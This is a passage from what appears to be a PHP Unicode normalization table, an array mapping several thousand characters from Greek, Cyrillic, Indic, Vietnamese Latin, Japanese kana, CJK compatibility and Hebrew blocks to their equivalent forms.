'ώ' => 'ώ', 'ϓ' => 'ϓ', 'ϔ' => 'ϔ', 'Ѐ' => 'Ѐ', 'Ё' => 'Ё', 'Ѓ' => 'Ѓ', 'Ї' => 'Ї', 'Ќ' => 'Ќ', 'Ѝ' => 'Ѝ', 'Ў' => 'Ў', 'Й' => 'Й', 'й' => 'й', 'ѐ' => 'ѐ', 'ё' => 'ё', 'ѓ' => 'ѓ', 'ї' => 'ї', 'ќ' => 'ќ', 'ѝ' => 'ѝ', 'ў' => 'ў', 'Ѷ' => 'Ѷ', 'ѷ' => 'ѷ', 'Ӂ' => 'Ӂ', 'ӂ' => 'ӂ', 'Ӑ' => 'Ӑ', 'ӑ' => 'ӑ', 'Ӓ' => 'Ӓ', 'ӓ' => 'ӓ', 'Ӗ' => 'Ӗ', 'ӗ' => 'ӗ', 'Ӛ' => 'Ӛ', 'ӛ' => 'ӛ', 'Ӝ' => 'Ӝ', 'ӝ' => 'ӝ', 'Ӟ' => 'Ӟ', 'ӟ' => 'ӟ', 'Ӣ' => 'Ӣ', 'ӣ' => 'ӣ', 'Ӥ' => 'Ӥ', 'ӥ' => 'ӥ', 'Ӧ' => 'Ӧ', 'ӧ' => 'ӧ', 'Ӫ' => 'Ӫ', 'ӫ' => 'ӫ', 'Ӭ' => 'Ӭ', 'ӭ' => 'ӭ', 'Ӯ' => 'Ӯ', 'ӯ' => 'ӯ', 'Ӱ' => 'Ӱ', 'ӱ' => 'ӱ', 'Ӳ' => 'Ӳ', 'ӳ' => 'ӳ', 'Ӵ' => 'Ӵ', 'ӵ' => 'ӵ', 'Ӹ' => 'Ӹ', 'ӹ' => 'ӹ', 'آ' => 'آ', 'أ' => 'أ', 'ؤ' => 'ؤ', 'إ' => 'إ', 'ئ' => 'ئ', 'ۀ' => 'ۀ', 'ۂ' => 'ۂ', 'ۓ' => 'ۓ', 'ऩ' => 'ऩ', 'ऱ' => 'ऱ', 'ऴ' => 'ऴ', 'क़' => 'क़', 'ख़' => 'ख़', 'ग़' => 'ग़', 'ज़' => 'ज़', 'ड़' => 'ड़', 'ढ़' => 'ढ़', 'फ़' => 'फ़', 'य़' => 'य़', 'ো' => 'ো', 'ৌ' => 'ৌ', 'ড়' => 'ড়', 'ঢ়' => 'ঢ়', 'য়' => 'য়', 'ਲ਼' => 'ਲ਼', 'ਸ਼' => 'ਸ਼', 'ਖ਼' => 'ਖ਼', 'ਗ਼' => 'ਗ਼', 'ਜ਼' => 'ਜ਼', 'ਫ਼' => 'ਫ਼', 'ୈ' => 'ୈ', 'ୋ' => 'ୋ', 'ୌ' => 'ୌ', 'ଡ଼' => 'ଡ଼', 'ଢ଼' => 'ଢ଼', 'ஔ' => 'ஔ', 'ொ' => 'ொ', 'ோ' => 'ோ', 'ௌ' => 'ௌ', 'ై' => 'ై', 'ೀ' => 'ೀ', 'ೇ' => 'ೇ', 'ೈ' => 'ೈ', 'ೊ' => 'ೊ', 'ೋ' => 'ೋ', 'ൊ' => 'ൊ', 'ോ' => 'ോ', 'ൌ' => 'ൌ', 'ේ' => 'ේ', 'ො' => 'ො', 'ෝ' => 'ෝ', 'ෞ' => 'ෞ', 'གྷ' => 'གྷ', 'ཌྷ' => 'ཌྷ', 'དྷ' => 'དྷ', 'བྷ' => 'བྷ', 'ཛྷ' => 'ཛྷ', 'ཀྵ' => 'ཀྵ', 'ཱི' => 'ཱི', 'ཱུ' => 'ཱུ', 'ྲྀ' => 'ྲྀ', 'ླྀ' => 'ླྀ', 'ཱྀ' => 'ཱྀ', 'ྒྷ' => 'ྒྷ', 'ྜྷ' => 'ྜྷ', 'ྡྷ' => 'ྡྷ', 'ྦྷ' => 'ྦྷ', 'ྫྷ' => 'ྫྷ', 'ྐྵ' => 'ྐྵ', 'ဦ' => 'ဦ', 'ᬆ' => 'ᬆ', 'ᬈ' => 'ᬈ', 'ᬊ' => 'ᬊ', 'ᬌ' => 'ᬌ', 'ᬎ' => 'ᬎ', 'ᬒ' => 'ᬒ', 'ᬻ' => 'ᬻ', 'ᬽ' => 'ᬽ', 'ᭀ' => 'ᭀ', 'ᭁ' => 'ᭁ', 'ᭃ' => 'ᭃ', 'Ḁ' => 'Ḁ', 'ḁ' => 'ḁ', 'Ḃ' => 'Ḃ', 'ḃ' => 'ḃ', 'Ḅ' => 'Ḅ', 'ḅ' => 'ḅ', 'Ḇ' => 'Ḇ', 'ḇ' => 'ḇ', 'Ḉ' => 'Ḉ', 'ḉ' => 'ḉ', 'Ḋ' => 'Ḋ', 'ḋ' => 'ḋ', 'Ḍ' => 'Ḍ', 'ḍ' => 'ḍ', 'Ḏ' => 'Ḏ', 'ḏ' => 'ḏ', 'Ḑ' => 'Ḑ', 'ḑ' => 'ḑ', 'Ḓ' => 'Ḓ', 'ḓ' => 'ḓ', 'Ḕ' => 'Ḕ', 'ḕ' => 'ḕ', 'Ḗ' => 'Ḗ', 'ḗ' => 'ḗ', 'Ḙ' => 'Ḙ', 'ḙ' => 'ḙ', 'Ḛ' => 'Ḛ', 'ḛ' => 'ḛ', 'Ḝ' => 'Ḝ', 'ḝ' => 'ḝ', 'Ḟ' => 'Ḟ', 'ḟ' => 'ḟ', 'Ḡ' => 'Ḡ', 'ḡ' => 'ḡ', 'Ḣ' => 'Ḣ', 'ḣ' => 'ḣ', 'Ḥ' => 'Ḥ', 'ḥ' => 'ḥ', 'Ḧ' => 'Ḧ', 'ḧ' => 'ḧ', 'Ḩ' => 'Ḩ', 'ḩ' => 'ḩ', 'Ḫ' => 'Ḫ', 'ḫ' => 'ḫ', 'Ḭ' => 'Ḭ', 'ḭ' => 'ḭ', 'Ḯ' => 'Ḯ', 'ḯ' => 'ḯ', 'Ḱ' => 'Ḱ', 'ḱ' => 'ḱ', 'Ḳ' => 'Ḳ', 'ḳ' => 'ḳ', 'Ḵ' => 'Ḵ', 'ḵ' => 'ḵ', 'Ḷ' => 'Ḷ', 'ḷ' => 'ḷ', 'Ḹ' => 'Ḹ', 'ḹ' => 'ḹ', 'Ḻ' => 'Ḻ', 'ḻ' => 'ḻ', 'Ḽ' => 'Ḽ', 'ḽ' => 'ḽ', 'Ḿ' => 'Ḿ', 'ḿ' => 'ḿ', 'Ṁ' => 'Ṁ', 'ṁ' => 'ṁ', 'Ṃ' => 'Ṃ', 'ṃ' => 'ṃ', 'Ṅ' => 'Ṅ', 'ṅ' => 'ṅ', 'Ṇ' => 'Ṇ', 'ṇ' => 'ṇ', 'Ṉ' => 'Ṉ', 'ṉ' => 'ṉ', 'Ṋ' => 'Ṋ', 'ṋ' => 'ṋ', 'Ṍ' => 'Ṍ', 'ṍ' => 'ṍ', 'Ṏ' => 'Ṏ', 'ṏ' => 'ṏ', 'Ṑ' => 'Ṑ', 'ṑ' => 'ṑ', 'Ṓ' => 'Ṓ', 'ṓ' => 'ṓ', 'Ṕ' => 'Ṕ', 'ṕ' => 'ṕ', 'Ṗ' => 'Ṗ', 'ṗ' => 'ṗ', 'Ṙ' => 'Ṙ', 'ṙ' => 'ṙ', 'Ṛ' => 'Ṛ', 'ṛ' => 'ṛ', 'Ṝ' => 'Ṝ', 'ṝ' => 'ṝ', 'Ṟ' => 'Ṟ', 'ṟ' => 'ṟ', 'Ṡ' => 'Ṡ', 'ṡ' => 'ṡ', 'Ṣ' => 'Ṣ', 'ṣ' => 'ṣ', 'Ṥ' => 'Ṥ', 'ṥ' => 'ṥ', 'Ṧ' => 'Ṧ', 'ṧ' => 'ṧ', 'Ṩ' => 'Ṩ', 'ṩ' => 'ṩ', 'Ṫ' => 'Ṫ', 'ṫ' => 'ṫ', 'Ṭ' => 'Ṭ', 'ṭ' => 'ṭ', 'Ṯ' => 'Ṯ', 'ṯ' => 'ṯ', 'Ṱ' => 'Ṱ', 'ṱ' => 'ṱ', 'Ṳ' => 'Ṳ', 'ṳ' => 'ṳ', 'Ṵ' => 'Ṵ', 'ṵ' => 'ṵ', 'Ṷ' => 'Ṷ', 'ṷ' => 'ṷ', 'Ṹ' => 'Ṹ', 'ṹ' => 'ṹ', 'Ṻ' => 'Ṻ', 'ṻ' => 'ṻ', 'Ṽ' => 'Ṽ', 'ṽ' => 'ṽ', 'Ṿ' => 'Ṿ', 'ṿ' => 'ṿ', 'Ẁ' => 'Ẁ', 'ẁ' => 'ẁ', 'Ẃ' => 'Ẃ', 'ẃ' => 'ẃ', 'Ẅ' => 'Ẅ', 'ẅ' => 'ẅ', 'Ẇ' => 'Ẇ', 'ẇ' => 'ẇ', 'Ẉ' => 'Ẉ', 'ẉ' => 'ẉ', 'Ẋ' => 'Ẋ', 'ẋ' => 'ẋ', 'Ẍ' => 'Ẍ', 'ẍ' => 'ẍ', 'Ẏ' => 'Ẏ', 'ẏ' => 'ẏ', 'Ẑ' => 'Ẑ', 'ẑ' => 'ẑ', 'Ẓ' => 'Ẓ', 'ẓ' => 'ẓ', 'Ẕ' => 'Ẕ', 'ẕ' => 'ẕ', 'ẖ' => 'ẖ', 'ẗ' => 'ẗ', 'ẘ' => 'ẘ', 'ẙ' => 'ẙ', 'ẛ' => 'ẛ', 'Ạ' => 'Ạ', 'ạ' => 'ạ', 'Ả' => 'Ả', 'ả' => 'ả', 'Ấ' => 'Ấ', 'ấ' => 'ấ', 'Ầ' => 'Ầ', 'ầ' => 'ầ', 'Ẩ' => 'Ẩ', 'ẩ' => 'ẩ', 'Ẫ' => 'Ẫ', 'ẫ' => 'ẫ', 'Ậ' => 'Ậ', 'ậ' => 'ậ', 'Ắ' => 'Ắ', 'ắ' => 'ắ', 'Ằ' => 'Ằ', 'ằ' => 'ằ', 'Ẳ' => 'Ẳ', 'ẳ' => 'ẳ', 'Ẵ' => 'Ẵ', 'ẵ' => 'ẵ', 'Ặ' => 'Ặ', 'ặ' => 'ặ', 'Ẹ' => 'Ẹ', 'ẹ' => 'ẹ', 'Ẻ' => 'Ẻ', 'ẻ' => 'ẻ', 'Ẽ' => 'Ẽ', 'ẽ' => 'ẽ', 'Ế' => 'Ế', 'ế' => 'ế', 'Ề' => 'Ề', 'ề' => 'ề', 'Ể' => 'Ể', 'ể' => 'ể', 'Ễ' => 'Ễ', 'ễ' => 'ễ', 'Ệ' => 'Ệ', 'ệ' => 'ệ', 'Ỉ' => 'Ỉ', 'ỉ' => 'ỉ', 'Ị' => 'Ị', 'ị' => 'ị', 'Ọ' => 'Ọ', 'ọ' => 'ọ', 'Ỏ' => 'Ỏ', 'ỏ' => 'ỏ', 'Ố' => 'Ố', 'ố' => 'ố', 'Ồ' => 'Ồ', 'ồ' => 'ồ', 'Ổ' => 'Ổ', 'ổ' => 'ổ', 'Ỗ' => 'Ỗ', 'ỗ' => 'ỗ', 'Ộ' => 'Ộ', 'ộ' => 'ộ', 'Ớ' => 'Ớ', 'ớ' => 'ớ', 'Ờ' => 'Ờ', 'ờ' => 'ờ', 'Ở' => 'Ở', 'ở' => 'ở', 'Ỡ' => 'Ỡ', 'ỡ' => 'ỡ', 'Ợ' => 'Ợ', 'ợ' => 'ợ', 'Ụ' => 'Ụ', 'ụ' => 'ụ', 'Ủ' => 'Ủ', 'ủ' => 'ủ', 'Ứ' => 'Ứ', 'ứ' => 'ứ', 'Ừ' => 'Ừ', 'ừ' => 'ừ', 'Ử' => 'Ử', 'ử' => 'ử', 'Ữ' => 'Ữ', 'ữ' => 'ữ', 'Ự' => 'Ự', 'ự' => 'ự', 'Ỳ' => 'Ỳ', 'ỳ' => 'ỳ', 'Ỵ' => 'Ỵ', 'ỵ' => 'ỵ', 'Ỷ' => 'Ỷ', 'ỷ' => 'ỷ', 'Ỹ' => 'Ỹ', 'ỹ' => 'ỹ', 'ἀ' => 'ἀ', 'ἁ' => 'ἁ', 'ἂ' => 'ἂ', 'ἃ' => 'ἃ', 'ἄ' => 'ἄ', 'ἅ' => 'ἅ', 'ἆ' => 'ἆ', 'ἇ' => 'ἇ', 'Ἀ' => 'Ἀ', 'Ἁ' => 'Ἁ', 'Ἂ' => 'Ἂ', 'Ἃ' => 'Ἃ', 'Ἄ' => 'Ἄ', 'Ἅ' => 'Ἅ', 'Ἆ' => 'Ἆ', 'Ἇ' => 'Ἇ', 'ἐ' => 'ἐ', 'ἑ' => 'ἑ', 'ἒ' => 'ἒ', 'ἓ' => 'ἓ', 'ἔ' => 'ἔ', 'ἕ' => 'ἕ', 'Ἐ' => 'Ἐ', 'Ἑ' => 'Ἑ', 'Ἒ' => 'Ἒ', 'Ἓ' => 'Ἓ', 'Ἔ' => 'Ἔ', 'Ἕ' => 'Ἕ', 'ἠ' => 'ἠ', 'ἡ' => 'ἡ', 'ἢ' => 'ἢ', 'ἣ' => 'ἣ', 'ἤ' => 'ἤ', 'ἥ' => 'ἥ', 'ἦ' => 'ἦ', 'ἧ' => 'ἧ', 'Ἠ' => 'Ἠ', 'Ἡ' => 'Ἡ', 'Ἢ' => 'Ἢ', 'Ἣ' => 'Ἣ', 'Ἤ' => 'Ἤ', 'Ἥ' => 'Ἥ', 'Ἦ' => 'Ἦ', 'Ἧ' => 'Ἧ', 'ἰ' => 'ἰ', 'ἱ' => 'ἱ', 'ἲ' => 'ἲ', 'ἳ' => 'ἳ', 'ἴ' => 'ἴ', 'ἵ' => 'ἵ', 'ἶ' => 'ἶ', 'ἷ' => 'ἷ', 'Ἰ' => 'Ἰ', 'Ἱ' => 'Ἱ', 'Ἲ' => 'Ἲ', 'Ἳ' => 'Ἳ', 'Ἴ' => 'Ἴ', 'Ἵ' => 'Ἵ', 'Ἶ' => 'Ἶ', 'Ἷ' => 'Ἷ', 'ὀ' => 'ὀ', 'ὁ' => 'ὁ', 'ὂ' => 'ὂ', 'ὃ' => 'ὃ', 'ὄ' => 'ὄ', 'ὅ' => 'ὅ', 'Ὀ' => 'Ὀ', 'Ὁ' => 'Ὁ', 'Ὂ' => 'Ὂ', 'Ὃ' => 'Ὃ', 'Ὄ' => 'Ὄ', 'Ὅ' => 'Ὅ', 'ὐ' => 'ὐ', 'ὑ' => 'ὑ', 'ὒ' => 'ὒ', 'ὓ' => 'ὓ', 'ὔ' => 'ὔ', 'ὕ' => 'ὕ', 'ὖ' => 'ὖ', 'ὗ' => 'ὗ', 'Ὑ' => 'Ὑ', 'Ὓ' => 'Ὓ', 'Ὕ' => 'Ὕ', 'Ὗ' => 'Ὗ', 'ὠ' => 'ὠ', 'ὡ' => 'ὡ', 'ὢ' => 'ὢ', 'ὣ' => 'ὣ', 'ὤ' => 'ὤ', 'ὥ' => 'ὥ', 'ὦ' => 'ὦ', 'ὧ' => 'ὧ', 'Ὠ' => 'Ὠ', 'Ὡ' => 'Ὡ', 'Ὢ' => 'Ὢ', 'Ὣ' => 'Ὣ', 'Ὤ' => 'Ὤ', 'Ὥ' => 'Ὥ', 'Ὦ' => 'Ὦ', 'Ὧ' => 'Ὧ', 'ὰ' => 'ὰ', 'ά' => 'ά', 'ὲ' => 'ὲ', 'έ' => 'έ', 'ὴ' => 'ὴ', 'ή' => 'ή', 'ὶ' => 'ὶ', 'ί' => 'ί', 'ὸ' => 'ὸ', 'ό' => 'ό', 'ὺ' => 'ὺ', 'ύ' => 'ύ', 'ὼ' => 'ὼ', 'ώ' => 'ώ', 'ᾀ' => 'ᾀ', 'ᾁ' => 'ᾁ', 'ᾂ' => 'ᾂ', 'ᾃ' => 'ᾃ', 'ᾄ' => 'ᾄ', 'ᾅ' => 'ᾅ', 'ᾆ' => 'ᾆ', 'ᾇ' => 'ᾇ', 'ᾈ' => 'ᾈ', 'ᾉ' => 'ᾉ', 'ᾊ' => 'ᾊ', 'ᾋ' => 'ᾋ', 'ᾌ' => 'ᾌ', 'ᾍ' => 'ᾍ', 'ᾎ' => 'ᾎ', 'ᾏ' => 'ᾏ', 'ᾐ' => 'ᾐ', 'ᾑ' => 'ᾑ', 'ᾒ' => 'ᾒ', 'ᾓ' => 'ᾓ', 'ᾔ' => 'ᾔ', 'ᾕ' => 'ᾕ', 'ᾖ' => 'ᾖ', 'ᾗ' => 'ᾗ', 'ᾘ' => 'ᾘ', 'ᾙ' => 'ᾙ', 'ᾚ' => 'ᾚ', 'ᾛ' => 'ᾛ', 'ᾜ' => 'ᾜ', 'ᾝ' => 'ᾝ', 'ᾞ' => 'ᾞ', 'ᾟ' => 'ᾟ', 'ᾠ' => 'ᾠ', 'ᾡ' => 'ᾡ', 'ᾢ' => 'ᾢ', 'ᾣ' => 'ᾣ', 'ᾤ' => 'ᾤ', 'ᾥ' => 'ᾥ', 'ᾦ' => 'ᾦ', 'ᾧ' => 'ᾧ', 'ᾨ' => 'ᾨ', 'ᾩ' => 'ᾩ', 'ᾪ' => 'ᾪ', 'ᾫ' => 'ᾫ', 'ᾬ' => 'ᾬ', 'ᾭ' => 'ᾭ', 'ᾮ' => 'ᾮ', 'ᾯ' => 'ᾯ', 'ᾰ' => 'ᾰ', 'ᾱ' => 'ᾱ', 'ᾲ' => 'ᾲ', 'ᾳ' => 'ᾳ', 'ᾴ' => 'ᾴ', 'ᾶ' => 'ᾶ', 'ᾷ' => 'ᾷ', 'Ᾰ' => 'Ᾰ', 'Ᾱ' => 'Ᾱ', 'Ὰ' => 'Ὰ', 'Ά' => 'Ά', 'ᾼ' => 'ᾼ', 'ι' => 'ι', '῁' => '῁', 'ῂ' => 'ῂ', 'ῃ' => 'ῃ', 'ῄ' => 'ῄ', 'ῆ' => 'ῆ', 'ῇ' => 'ῇ', 'Ὲ' => 'Ὲ', 'Έ' => 'Έ', 'Ὴ' => 'Ὴ', 'Ή' => 'Ή', 'ῌ' => 'ῌ', '῍' => '῍', '῎' => '῎', '῏' => '῏', 'ῐ' => 'ῐ', 'ῑ' => 'ῑ', 'ῒ' => 'ῒ', 'ΐ' => 'ΐ', 'ῖ' => 'ῖ', 'ῗ' => 'ῗ', 'Ῐ' => 'Ῐ', 'Ῑ' => 'Ῑ', 'Ὶ' => 'Ὶ', 'Ί' => 'Ί', '῝' => '῝', '῞' => '῞', '῟' => '῟', 'ῠ' => 'ῠ', 'ῡ' => 'ῡ', 'ῢ' => 'ῢ', 'ΰ' => 'ΰ', 'ῤ' => 'ῤ', 'ῥ' => 'ῥ', 'ῦ' => 'ῦ', 'ῧ' => 'ῧ', 'Ῠ' => 'Ῠ', 'Ῡ' => 'Ῡ', 'Ὺ' => 'Ὺ', 'Ύ' => 'Ύ', 'Ῥ' => 'Ῥ', '῭' => '῭', '΅' => '΅', '`' => '`', 'ῲ' => 'ῲ', 'ῳ' => 'ῳ', 'ῴ' => 'ῴ', 'ῶ' => 'ῶ', 'ῷ' => 'ῷ', 'Ὸ' => 'Ὸ', 'Ό' => 'Ό', 'Ὼ' => 'Ὼ', 'Ώ' => 'Ώ', 'ῼ' => 'ῼ', '´' => '´', ' ' => ' ', ' ' => ' ', 'Ω' => 'Ω', 'K' => 'K', 'Å' => 'Å', '↚' => '↚', '↛' => '↛', '↮' => '↮', '⇍' => '⇍', '⇎' => '⇎', '⇏' => '⇏', '∄' => '∄', '∉' => '∉', '∌' => '∌', '∤' => '∤', '∦' => '∦', '≁' => '≁', '≄' => '≄', '≇' => '≇', '≉' => '≉', '≠' => '≠', '≢' => '≢', '≭' => '≭', '≮' => '≮', '≯' => '≯', '≰' => '≰', '≱' => '≱', '≴' => '≴', '≵' => '≵', '≸' => '≸', '≹' => '≹', '⊀' => '⊀', '⊁' => '⊁', '⊄' => '⊄', '⊅' => '⊅', '⊈' => '⊈', '⊉' => '⊉', '⊬' => '⊬', '⊭' => '⊭', '⊮' => '⊮', '⊯' => '⊯', '⋠' => '⋠', '⋡' => '⋡', '⋢' => '⋢', '⋣' => '⋣', '⋪' => '⋪', '⋫' => '⋫', '⋬' => '⋬', '⋭' => '⋭', '〈' => '〈', '〉' => '〉', '⫝̸' => '⫝̸', 'が' => 'が', 'ぎ' => 'ぎ', 'ぐ' => 'ぐ', 'げ' => 'げ', 'ご' => 'ご', 'ざ' => 'ざ', 'じ' => 'じ', 'ず' => 'ず', 'ぜ' => 'ぜ', 'ぞ' => 'ぞ', 'だ' => 'だ', 'ぢ' => 'ぢ', 'づ' => 'づ', 'で' => 'で', 'ど' => 'ど', 'ば' => 'ば', 'ぱ' => 'ぱ', 'び' => 'び', 'ぴ' => 'ぴ', 'ぶ' => 'ぶ', 'ぷ' => 'ぷ', 'べ' => 'べ', 'ぺ' => 'ぺ', 'ぼ' => 'ぼ', 'ぽ' => 'ぽ', 'ゔ' => 'ゔ', 'ゞ' => 'ゞ', 'ガ' => 'ガ', 'ギ' => 'ギ', 'グ' => 'グ', 'ゲ' => 'ゲ', 'ゴ' => 'ゴ', 'ザ' => 'ザ', 'ジ' => 'ジ', 'ズ' => 'ズ', 'ゼ' => 'ゼ', 'ゾ' => 'ゾ', 'ダ' => 'ダ', 'ヂ' => 'ヂ', 'ヅ' => 'ヅ', 'デ' => 'デ', 'ド' => 'ド', 'バ' => 'バ', 'パ' => 'パ', 'ビ' => 'ビ', 'ピ' => 'ピ', 'ブ' => 'ブ', 'プ' => 'プ', 'ベ' => 'ベ', 'ペ' => 'ペ', 'ボ' => 'ボ', 'ポ' => 'ポ', 'ヴ' => 'ヴ', 'ヷ' => 'ヷ', 'ヸ' => 'ヸ', 'ヹ' => 'ヹ', 'ヺ' => 'ヺ', 'ヾ' => 'ヾ', '豈' => '豈', '更' => '更', '車' => '車', '賈' => '賈', '滑' => '滑', '串' => '串', '句' => '句', '龜' => '龜', '龜' => '龜', '契' => '契', '金' => '金', '喇' => '喇', '奈' => '奈', '懶' => '懶', '癩' => '癩', '羅' => '羅', '蘿' => '蘿', '螺' => '螺', '裸' => '裸', '邏' => '邏', '樂' => '樂', '洛' => '洛', '烙' => '烙', '珞' => '珞', '落' => '落', '酪' => '酪', '駱' => '駱', '亂' => '亂', '卵' => '卵', '欄' => '欄', '爛' => '爛', '蘭' => '蘭', '鸞' => '鸞', '嵐' => '嵐', '濫' => '濫', '藍' => '藍', '襤' => '襤', '拉' => '拉', '臘' => '臘', '蠟' => '蠟', '廊' => '廊', '朗' => '朗', '浪' => '浪', '狼' => '狼', '郎' => '郎', '來' => '來', '冷' => '冷', '勞' => '勞', '擄' => '擄', '櫓' => '櫓', '爐' => '爐', '盧' => '盧', '老' => '老', '蘆' => '蘆', '虜' => '虜', '路' => '路', '露' => '露', '魯' => '魯', '鷺' => '鷺', '碌' => '碌', '祿' => '祿', '綠' => '綠', '菉' => '菉', '錄' => '錄', '鹿' => '鹿', '論' => '論', '壟' => '壟', '弄' => '弄', '籠' => '籠', '聾' => '聾', '牢' => '牢', '磊' => '磊', '賂' => '賂', '雷' => '雷', '壘' => '壘', '屢' => '屢', '樓' => '樓', '淚' => '淚', '漏' => '漏', '累' => '累', '縷' => '縷', '陋' => '陋', '勒' => '勒', '肋' => '肋', '凜' => '凜', '凌' => '凌', '稜' => '稜', '綾' => '綾', '菱' => '菱', '陵' => '陵', '讀' => '讀', '拏' => '拏', '樂' => '樂', '諾' => '諾', '丹' => '丹', '寧' => '寧', '怒' => '怒', '率' => '率', '異' => '異', '北' => '北', '磻' => '磻', '便' => '便', '復' => '復', '不' => '不', '泌' => '泌', '數' => '數', '索' => '索', '參' => '參', '塞' => '塞', '省' => '省', '葉' => '葉', '說' => '說', '殺' => '殺', '辰' => '辰', '沈' => '沈', '拾' => '拾', '若' => '若', '掠' => '掠', '略' => '略', '亮' => '亮', '兩' => '兩', '凉' => '凉', '梁' => '梁', '糧' => '糧', '良' => '良', '諒' => '諒', '量' => '量', '勵' => '勵', '呂' => '呂', '女' => '女', '廬' => '廬', '旅' => '旅', '濾' => '濾', '礪' => '礪', '閭' => '閭', '驪' => '驪', '麗' => '麗', '黎' => '黎', '力' => '力', '曆' => '曆', '歷' => '歷', '轢' => '轢', '年' => '年', '憐' => '憐', '戀' => '戀', '撚' => '撚', '漣' => '漣', '煉' => '煉', '璉' => '璉', '秊' => '秊', '練' => '練', '聯' => '聯', '輦' => '輦', '蓮' => '蓮', '連' => '連', '鍊' => '鍊', '列' => '列', '劣' => '劣', '咽' => '咽', '烈' => '烈', '裂' => '裂', '說' => '說', '廉' => '廉', '念' => '念', '捻' => '捻', '殮' => '殮', '簾' => '簾', '獵' => '獵', '令' => '令', '囹' => '囹', '寧' => '寧', '嶺' => '嶺', '怜' => '怜', '玲' => '玲', '瑩' => '瑩', '羚' => '羚', '聆' => '聆', '鈴' => '鈴', '零' => '零', '靈' => '靈', '領' => '領', '例' => '例', '禮' => '禮', '醴' => '醴', '隸' => '隸', '惡' => '惡', '了' => '了', '僚' => '僚', '寮' => '寮', '尿' => '尿', '料' => '料', '樂' => '樂', '燎' => '燎', '療' => '療', '蓼' => '蓼', '遼' => '遼', '龍' => '龍', '暈' => '暈', '阮' => '阮', '劉' => '劉', '杻' => '杻', '柳' => '柳', '流' => '流', '溜' => '溜', '琉' => '琉', '留' => '留', '硫' => '硫', '紐' => '紐', '類' => '類', '六' => '六', '戮' => '戮', '陸' => '陸', '倫' => '倫', '崙' => '崙', '淪' => '淪', '輪' => '輪', '律' => '律', '慄' => '慄', '栗' => '栗', '率' => '率', '隆' => '隆', '利' => '利', '吏' => '吏', '履' => '履', '易' => '易', '李' => '李', '梨' => '梨', '泥' => '泥', '理' => '理', '痢' => '痢', '罹' => '罹', '裏' => '裏', '裡' => '裡', '里' => '里', '離' => '離', '匿' => '匿', '溺' => '溺', '吝' => '吝', '燐' => '燐', '璘' => '璘', '藺' => '藺', '隣' => '隣', '鱗' => '鱗', '麟' => '麟', '林' => '林', '淋' => '淋', '臨' => '臨', '立' => '立', '笠' => '笠', '粒' => '粒', '狀' => '狀', '炙' => '炙', '識' => '識', '什' => '什', '茶' => '茶', '刺' => '刺', '切' => '切', '度' => '度', '拓' => '拓', '糖' => '糖', '宅' => '宅', '洞' => '洞', '暴' => '暴', '輻' => '輻', '行' => '行', '降' => '降', '見' => '見', '廓' => '廓', '兀' => '兀', '嗀' => '嗀', '塚' => '塚', '晴' => '晴', '凞' => '凞', '猪' => '猪', '益' => '益', '礼' => '礼', '神' => '神', '祥' => '祥', '福' => '福', '靖' => '靖', '精' => '精', '羽' => '羽', '蘒' => '蘒', '諸' => '諸', '逸' => '逸', '都' => '都', '飯' => '飯', '飼' => '飼', '館' => '館', '鶴' => '鶴', '郞' => '郞', '隷' => '隷', '侮' => '侮', '僧' => '僧', '免' => '免', '勉' => '勉', '勤' => '勤', '卑' => '卑', '喝' => '喝', '嘆' => '嘆', '器' => '器', '塀' => '塀', '墨' => '墨', '層' => '層', '屮' => '屮', '悔' => '悔', '慨' => '慨', '憎' => '憎', '懲' => '懲', '敏' => '敏', '既' => '既', '暑' => '暑', '梅' => '梅', '海' => '海', '渚' => '渚', '漢' => '漢', '煮' => '煮', '爫' => '爫', '琢' => '琢', '碑' => '碑', '社' => '社', '祉' => '祉', '祈' => '祈', '祐' => '祐', '祖' => '祖', '祝' => '祝', '禍' => '禍', '禎' => '禎', '穀' => '穀', '突' => '突', '節' => '節', '練' => '練', '縉' => '縉', '繁' => '繁', '署' => '署', '者' => '者', '臭' => '臭', '艹' => '艹', '艹' => '艹', '著' => '著', '褐' => '褐', '視' => '視', '謁' => '謁', '謹' => '謹', '賓' => '賓', '贈' => '贈', '辶' => '辶', '逸' => '逸', '難' => '難', '響' => '響', '頻' => '頻', '恵' => '恵', '𤋮' => '𤋮', '舘' => '舘', '並' => '並', '况' => '况', '全' => '全', '侀' => '侀', '充' => '充', '冀' => '冀', '勇' => '勇', '勺' => '勺', '喝' => '喝', '啕' => '啕', '喙' => '喙', '嗢' => '嗢', '塚' => '塚', '墳' => '墳', '奄' => '奄', '奔' => '奔', '婢' => '婢', '嬨' => '嬨', '廒' => '廒', '廙' => '廙', '彩' => '彩', '徭' => '徭', '惘' => '惘', '慎' => '慎', '愈' => '愈', '憎' => '憎', '慠' => '慠', '懲' => '懲', '戴' => '戴', '揄' => '揄', '搜' => '搜', '摒' => '摒', '敖' => '敖', '晴' => '晴', '朗' => '朗', '望' => '望', '杖' => '杖', '歹' => '歹', '殺' => '殺', '流' => '流', '滛' => '滛', '滋' => '滋', '漢' => '漢', '瀞' => '瀞', '煮' => '煮', '瞧' => '瞧', '爵' => '爵', '犯' => '犯', '猪' => '猪', '瑱' => '瑱', '甆' => '甆', '画' => '画', '瘝' => '瘝', '瘟' => '瘟', '益' => '益', '盛' => '盛', '直' => '直', '睊' => '睊', '着' => '着', '磌' => '磌', '窱' => '窱', '節' => '節', '类' => '类', '絛' => '絛', '練' => '練', '缾' => '缾', '者' => '者', '荒' => '荒', '華' => '華', '蝹' => '蝹', '襁' => '襁', '覆' => '覆', '視' => '視', '調' => '調', '諸' => '諸', '請' => '請', '謁' => '謁', '諾' => '諾', '諭' => '諭', '謹' => '謹', '變' => '變', '贈' => '贈', '輸' => '輸', '遲' => '遲', '醙' => '醙', '鉶' => '鉶', '陼' => '陼', '難' => '難', '靖' => '靖', '韛' => '韛', '響' => '響', '頋' => '頋', '頻' => '頻', '鬒' => '鬒', '龜' => '龜', '𢡊' => '𢡊', '𢡄' => '𢡄', '𣏕' => '𣏕', '㮝' => '㮝', '䀘' => '䀘', '䀹' => '䀹', '𥉉' => '𥉉', '𥳐' => '𥳐', '𧻓' => '𧻓', '齃' => '齃', '龎' => '龎', 'יִ' => 'יִ', 'ײַ' => 'ײַ', 'שׁ' => 'שׁ', 'שׂ' => 'שׂ', 'שּׁ' => 'שּׁ', 'שּׂ' => 'שּׂ', 'אַ' => 'אַ', 'אָ' => 'אָ', 'אּ' => 'אּ', 'בּ' => 'בּ', 'גּ' => 'גּ', 'דּ' => 'דּ', 'הּ' => 'הּ', 'וּ' => 'וּ', 'זּ' => 'זּ', 'טּ' => 'טּ', 'יּ' => 'יּ', 'ךּ' => 'ךּ', 'כּ' => 'כּ', 'לּ' => 